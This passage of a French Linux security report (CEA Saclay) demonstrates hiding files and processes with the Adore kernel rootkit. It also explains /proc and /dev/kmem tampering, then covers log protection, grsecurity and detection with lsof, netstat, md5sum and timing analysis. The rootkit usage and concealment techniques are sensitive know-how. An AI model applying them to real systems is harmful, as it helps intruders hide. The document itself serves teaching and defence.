(unused) usbcore 59072 1 [usb-uhci] 3c59x 25928 1 (autoclean) nls_iso8859-1 2816 3 (autoclean) nls_cp437 4352 3 (autoclean) nls_iso8859-15 3360 2 (autoclean) nls_cp850 3584 1 (autoclean) vfat 9788 2 (autoclean) fat 31384 0 (autoclean) [vfat] rtc 5912 0 (autoclean) aic7xxx 114676 0 (unused) sd_mod 11512 0 (unused) scsi_mod 93244 2 [aic7xxx sd_mod] On voit qu’il n’apparaît pas dans la liste des modules chargés car il est livré avec un autre module (cleaner.o) le rendant invisible à la commande lsmod. Il se manipule via le programme ava : 40 [root@sam adore]# ./ava Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)] h u r R U i v hide file unhide file execute as root remove PID forever uninstall adore make PID invisible make PID visible Essayons de cacher un fichier : [root@sam adore]# ls adore.c ava.c configure* libinvisible.h README adore.h Changelog CVS/ LICENSE rename.c adore.o cleaner.c dummy.c Makefile startadore* ava* cleaner.o libinvisible.c Makefile.gen TODO [root@sam adore]# ./ava h ava Checking for adore 0.12 or higher ... Adore 0.42 installed. Good luck. File 'ava' hided. [root@sam adore]# ls adore.c ava.c cleaner.o dummy.c LICENSE README adore.h Changelog configure* libinvisible.c Makefile rename.c adore.o cleaner.c CVS/ libinvisible.h Makefile.gen startadore* Le fichier ava a disparu ! Voyons s’il réussit à cacher un processus : [root@sam adore]# ps ax PID TTY STAT TIME COMMAND . . . 6765 ? S 0:00 /usr/local/bin/fluxbox 6786 ? S 0:00 /usr/bin/medusa-idled 6829 ? S 0:00 aterm -sl 2000 -fg grey -bg black 6830 pts/0 S 0:00 bash 7159 pts/0 R 0:00 ps ax [root@sam adore]# ./ava i 6830 Checking for adore 0.12 or higher ... Adore 0.42 installed. Good luck. Made PID 6830 invisible. [root@sam adore]# ps ax PID TTY STAT TIME COMMAND . . . 41 TODO 6765 6786 6829 7162 ? ? ? pts/0 S S S R 0:00 0:00 0:00 0:00 /usr/local/bin/fluxbox /usr/bin/medusa-idled aterm -sl 2000 -fg grey -bg black ps ax Il dissimule aussi les connexions réseau précisées dans le fichier adore.h. 3.1.3.4 Modification de /proc Une autre technique utilisée par les rootkits est la modification de l’arborescence de /proc. Ce répertoire est utilisé intensivement par Linux et un grand nombre d’applications. Il recense tous les processus en créant, pour chacun, un répertoire du nom de son PID. On peut alors récupérer un grand nombre d’informations. De plus, sous Linux, d’autres données sont collectées comme celles relatives au bus PCI, au processeur,... Le contenu du répertoire /proc : [root@sam root]# ls /proc 1/ 1626/ 1918/ 4/ 1019/ 1648/ 1919/ 4117/ 1042/ 1649/ 1920/ 4138/ 1097/ 1689/ 1921/ 4197/ 1111/ 1691/ 1922/ 4198/ 1124/ 1692/ 1923/ 4217/ 1178/ 1693/ 1932/ 4218/ 1216/ 1694/ 1933/ 4280/ 14/ 1719/ 2/ 4283/ 1449/ 1746/ 2879/ 4337/ 1544/ 1757/ 3/ 4338/ 1564/ 1917/ 3056/ 4829/ 4832/ 4833/ 4924/ 4926/ 5/ 522/ 6/ 67/ 7/ 8/ 887/ 910/ 919/ 969/ 995/ apm bus/ cmdline cpuinfo devices dma dri/ driver/ e820info execdomains fb filesystems fs/ ide/ interrupts iomem ioports irq/ kcore kmsg ksyms loadavg self@ locks slabinfo mdstat stat meminfo swaps misc sys/ modules sysvipc/ mounts tty/ mtrr uptime net/ version partitions pci scsi/ On peut récupérer les informations spécifiques à un processus : [root@sam root]# ls /proc/4924/ cmdline cwd@ environ exe@ fd/ maps [root@sam root]# cat /proc/4924/status Name: vi State: S (sleeping) Tgid: 4924 Pid: 4924 PPid: 4338 TracerPid: 0 Uid: 502 502 502 502 Gid: 502 502 502 502 FDSize: 32 Groups: 502 43 VmSize: 5640 kB VmLck: 0 kB VmRSS: 2580 kB VmData: 772 kB VmStk: 24 kB VmExe: 1636 kB 42 mem root@ stat statm status VmLib: SigPnd: SigBlk: SigIgn: SigCgt: CapInh: CapPrm: CapEff: 2612 kB 0000000000000000 0000000080000000 8000000000003000 00000003ef804eff 0000000000000000 0000000000000000 0000000000000000 Et enfin, des informations sur notre processus : [root@sam root]# cat /proc/cpuinfo processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 8 model name : Pentium III (Coppermine) stepping : 10 cpu MHz : 996.784 cache size : 256 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 mmx fxsr sse bogomips : 1985.74 Linux propose une couche d’abstraction des systèmes de fichiers : le VFS (Virtual Filesystem). Grâce cela, tous les systèmes de fichiers sont manipulables à l’aide des mêmes fonctions. Le répertoire /proc peut donc être manipulé très facilement. Dès lors, il n’est plus besoin de détourner les appels systèmes comme dans le cas des Linux Kernel Rootkit précédents. Comme /proc est un système de fichiers, il est modifiable depuis l’espace utilisateur et a une incidence directe dans l’espace noyau puisqu’il est stocké entièrement dans celuici. Dans un article de phrack [19], l’auteur nous présente un tel rootkit. Son implémentation à l’aide d’un module noyau offre de nombreuses possibilités : • • • • • réalisation de dénis de service de différentes sortes (effacement de fichiers, modifications de droits, …) masquage des connexions réseau : en effet, beaucoup d’informations se trouvent dans /proc/net/ et les modifier est alors un jeu d’enfant. élévation de privilège masquage des processus d’autres applications limitées seulement par l’imagination du pirate 43 3.1.3.5 Injection dans /dev/kmem La mémoire est accessible sous Linux grâce à 2 devices particuliers : • • /dev/mem est une image de la mémoire brute de l’ordinateur. On peut l’utiliser pour examiner le système. /dev/kmem est, quant à lui, une image de la mémoire virtuelle d’une machine, c’est à dire la mémoire brute mais également l’espace d’échange (swap space). L’excellent article de Silvio Cesare [17] fut le premier à présenter comment modifier à la volée un noyau Linux en fonctionnement via /dev/kmem. Comment y parvient-il ? Avant toute chose, il faut connaître ce que l’on désire modifier. Cela consiste à identifier la fonction (ou la donnée) à modifier, puis à trouver son emplacement dans /dev/kmem. Pour cela, différentes méthodes sont abordées, la plus simple consistant à regarder dans le fichier System.map correspondant au noyau en fonctionnement. En effet, ce fichier associe nom de symbole et adresse physique du symbole. D’autres méthodes sont évoquées dans l’article cité précédemment. arno@valium:~$ grep printf /boot/System.map c014d0c0 T seq_printf c0155fb0 T proc_sprintf c017e2c0 T acpi_os_printf c017e2e0 T acpi_os_vprintf c0207540 t sprintf_stats c0244e30 T vsnprintf c0245270 T snprintf c02452a0 T vsprintf c02452d0 T sprintf c027d0c1 R __kstrtab_sprintf c027d0d3 R __kstrtab_snprintf c027d0f7 R __kstrtab_vsprintf c027d10a R __kstrtab_vsnprintf c027d323 R __kstrtab_seq_printf c027e33c R __kstrtab_acpi_os_printf c0286598 R __ksymtab_sprintf c02865a0 R __ksymtab_snprintf c02865b0 R __ksymtab_vsprintf c02865b8 R __ksymtab_vsnprintf c0286670 R __ksymtab_seq_printf c0286b10 R __ksymtab_acpi_os_printf arno@valium:~$ Silvio fournit aussi dans son article des programmes de preuve de concept pour appuyer ses théories. Un article plus récent de phrack [18] propose un véritable rootkit basé sur ces théories et offrant un niveau de furtivité très élevé. Celui-ci a l’avantage de pouvoir abuser le noyau Linux malgré l’absence du fichier System.map et même si le noyau a été compilé sans le support des modules. 3.2 Prévention Les moyens de se prémunir contre de telles attaques sont le plus souvent très simples, même si ces mesures peuvent être gênantes dans l’exploitation quotidienne d’une machine. Cependant, dans le cas d’un serveur, de telles mesures sont indispensables et très peu contraignantes. 44 3.2.1 Les fichiers de logs Pour se protéger de la modification, voire de l’effacement, des fichiers de logs il est impératif que le support sur lequel ces fichiers sont stockés soit difficilement modifiable. L’utilisation d’un système de fichiers implémentant le drapeau append-only (on peut uniquement ajouter des données à un fichier, aucune modification, dont l’effacement du fichier, ne peut être faîte) est une très bonne protection. Certes, on peut la contourner, mais cela demandera beaucoup de travail à un pirate. Par exemple sous Linux (avec un noyau 2.4 ou supérieur), on utilise la commande chattr avec l’option +a pour rendre un fichier append-only (il existe aussi l’option +i – pour immutable – et qui empêchera un fichier d’être modifié et effacé ; cette option peut se révéler pratique pour certains fichiers de configuration). Une autre solution peut être de renvoyer les fichiers de logs vers une machine « sûre » ne servant qu’à leur stockage et leur traitement. 3.2.2 Les rootkits Un moyen de se protéger contre les rootkits modules de noyau est d’interdire tout simplement cette fonctionnalité. Certes, une telle mesure risque d’être pénalisante sur une station de travail, mais sur un serveur dédié c’est, une fois de plus, la seule option sensée. Grsecurity (www.grsecurity.net), grâce aux protections qu’il propose (aussi bien la définition d’ACL – Access Control Lists – que par le patch noyau PaX), empêche de manière sûre toute possibilité de pose d’un cheval de Troie. Ainsi on peut dire que le processus Apache n’a pas le droit d’écrire dans /bin (empêchant ainsi le remplacement d’une commande standard), ne voit pas /proc/mem (pas de possibilité d’injection), … A notre avis, grsecurity est LA solution pour sécuriser un serveur Linux. Le temps d’apprentissage est court et les règles sont très explicites. Il faut cependant bien connaître son système pour définir avec précision les ACL pour chaque processus. Heureusement un mode d’apprentissage existe, diminuant ainsi le temps d’écriture des règles. Comme nous sommes en présence d’un serveur (et si la considération primordiale du principe de moindre privilège est appliquée) peu de programmes sont présents et donc le nombre de règles est diminué d’autant. 3.3 Détection 3.3.1 Les chevaux de Troie Le moyen d’éviter les chevaux de Troie utilisant le réseau est de surveiller les ports ouverts et les connexions sur une machine. En identifiant chaque programme écoutant sur un port donné, on peut réussir à identifier les chevaux de Troie. Les outils indispensables sont netstat, disponible en standard sur un très grand nombre de plate-forme (même Windows ) et lsof, disponible en tant que package pour la plupart des Unix. Celui-ci offre de très nombreuses possibilités de surveillance système et réseau et facilite grandement la vie d’un administrateur. Certes sa prise en main n’est pas aisée, mais une fois maîtrisé, il s’avère l’un des outils les plus puissants. [root@sam COMMAND portmap portmap httpd httpd nc root]# lsof -i PID USER FD 887 rpc 3u 887 rpc 4u 1544 apache 3u 1564 apache 3u 4721 root 3u TYPE DEVICE SIZE NODE NAME IPv4 2831 UDP *:sunrpc IPv4 2834 TCP *:sunrpc (LISTEN) IPv4 3502 TCP *:webcache (LISTEN) IPv4 3502 TCP *:webcache (LISTEN) IPv4 43260 TCP *:666 (LISTEN) 45 On voit ici que la commande nc a été lancée par l’administrateur sur le port 666. Cela correspond à la backdoor sommaire que nous avons créée au 3.1.2. On obtient le même résultat avec la commande netstat. [root@sam root]# netstat -atpn Connexions Internet actives (serveurs et établies) Proto Recv-Q Send-Q Adresse locale Adresse distante tcp 0 0 0.0.0.0:111 0.0.0.0:* tcp 0 0 0.0.0.0:8080 0.0.0.0:* tcp 0 0 0.0.0.0:666 0.0.0.0:* Etat LISTEN LISTEN LISTEN PID/Program name 887/portmap 1544/httpd 4721/nc Pour les programmes remplaçant des commandes existantes, l’utilisation d’outils de vérification d’intégrité à base de signatures, tels que md5sum ou tripwire, représente la meilleure solution. Bien entendu, seule une vérification régulière associée à un stockage des signatures sur un média non réinscriptible offre une véritable sécurité. [root@sam root]# md5sum /bin/ls bed8cb15ff9fe4f2cc8803201aceb975 [root@sam root]# md5sum ./ls 19c5cb7cce1c06e5ee27dc9ff256b026 /bin/ls ./ls La signature entre une version compromise et la version originelle est donc bien différente. 3.3.2 Les rootkits La détection des rootkits simples remplaçant les fichiers utilise les mêmes outils que ceux vus dans le paragraphe précédant, à savoir tripwire ou md5sum. En réalisant des comparaisons à intervalle régulier, on peut ainsi assurer l’intégrité des systèmes. Un article très intéressant paru dans le dernier phrack [16] propose une méthode inédite identifiant presque à coup sûr la présence d’un rootkit à base de module noyau, mais également tous les rootkits modifiant à la volée /dev/kmem. Il se base sur le fait qu’un rootkit sous la forme d’un module affecte la réponse du système pour des opérations très simples. En effet, face à un noyau non modifié, un noyau infecté par un rootkit est beaucoup plus lent lors de certains appels car il effectue un nombre d’opérations élémentaires supérieures (il doit, par exemple, vérifier que le nom du fichier demandé n’est pas celui d’un fichier caché). Typiquement les fonctions testées sont : open_file, stat_file, read_file, open_kmem, readdir_root, readdir_proc, read_proc_net_tcp, lseek_kmem et read_kmem. Son implémentation/preuve de concept a été en mesure de détecter les rootkits les plus connus ainsi que ceux présentés comme preuves de concept dans les différents numéros de phrack ([18], [19] et [20] entre autres). 46 4 Conclusion Dans ce volume nous nous sommes concentrés sur la présentation de moyens d’attaque standards et de défense associés pour les systèmes de type Unix et plus particulièrement Linux. Nous avons approfondi les mécanismes d’attaque système pour accroître ses privilèges et/ou obtenir un accès sur une machine. Nous avons également vu comment un pirate réussissait à se dissimuler sur une machine une fois qu’il en a acquis le contrôle. Heureusement pour les administrateurs des moyens de protection efficaces existent, par exemple grsecurity pour les machines Linux. Ils demandent cependant souvent un temps d’apprentissage et/ou de mise en place assez long. Mais la sécurité n’a pas de prix. 47 5 Annexes 5.1 Bibliographie 5.1.1 Livres [1] Linux Magazine France – Hors série 8 Introduction à la cryptographie Sécurité des serveurs Trojans, rootkits et intégrité des données Les attaques internes : virus, chevaux de Troie, backdoors [2] Hacking Exposed – Network Security Secrets and Solutions – 2nd Edition Joel Scambray – Stuart McClure – George Kurtz Osborne 2001 5.1.2 Articles [3] How to write buffer overflows Mudge 20/10/1995 www.l0pht.com [4] Smashing the stack for fun and profit Aleph One Phrack Magazine 49 www.phrack.org [5] Smashing C++ VPTRS rix Phrack Magazine 56 www.phrack.org [6] Vudo – An object superstitiously believed to embody magical powers Michel « Maxx » Kaempf Phrack Magazine 57 www.phrack.org [7] The advanced return-into-lib(c) exploits : PaX case study Nergal Phrack Magazine 58 www.phrack.org [8] Getting around non-executable stack (and fix) Solar Designer www.securityfocus.com/archive/1/7480 [9] Buffer overflow exploit in the alpha linux Taeho Oh www.postech.edu/plus 48 [10] Advanced buffer overflow exploit Taeho Oh www.postech.edu/plus [11] w00w00 on heap overflows Matt Conover www.w00w00.org [12] Exploiting format string vulnerabilities scut Team Teso www.team-teso.net [13] Les patchs kernel Frédéric Raynal – Samuel Dralet Linux Magazine France 39 – Mai 2002 [14] Stackguard, Stackshield, Libsafe : protection contre les débordements de tampons Christophe Bailleux Linux Magazine France 39 – Mai 2002 [15] Writing Linux Kernel Keylogger rd Phrack Magazine 59 www.phrack.org [16] Execution path analysis: finding kernel based rootkits Jan K. Rutkowski Phrack Magazine 59 www.phrack.org [17] Runtime kernel kmem patching Silvio Cesare www.big.net.au/~silvio [18] Linux on-the-fly kernel patching without LKM sd, devik Phrack Magazine 58 www.phrack.org [19] Sub proc_root Quando Sumus (Advances in Kernel Hacking) palmers Phrack Magazine 58 www.phrack.org [20] Abuse of the Linux Kernel for Fun and Profit Halflife Phrack Magazine 50 www.phrack.org [21] Defeating Solar Designer non-executable stack patch Rafal Wojtczuk (nergal) www.securityfocus.com/archive/1/8470 49 [22] The Frame Pointer Overwrite Klog Phrack Magazine 55 www.phrack.org [23] Bypassing Stackguard and Stackshield Bulba - Kil3r Phrack Magazine 56 www.phrack.org [24] Detecting Format String Vulnerabilities with Type Qualifiers Umesh Shankar, Kunal Talwar, Jeffrey S. Foster, David Wagner Usenix 2001 [25] Shared Libraries Call Redirection via ELF PLT Infection Silvio Cesare Phrack Magazine 56 www.phrack.org 5.2 Sites Internet www.phrack.org www.insecure.com/nmap/ www.xprobe2.org www.packetfactory.com/firewalk/ www.team-teso.org www.lids.org www.grsecurity.net 50 ÉDITÉ PAR LA DIRECTION DES SYSTEMES D’INFORMATION CEA / SACLAY 91191 GIF-SUR-YVETTE CEDEX FRANCE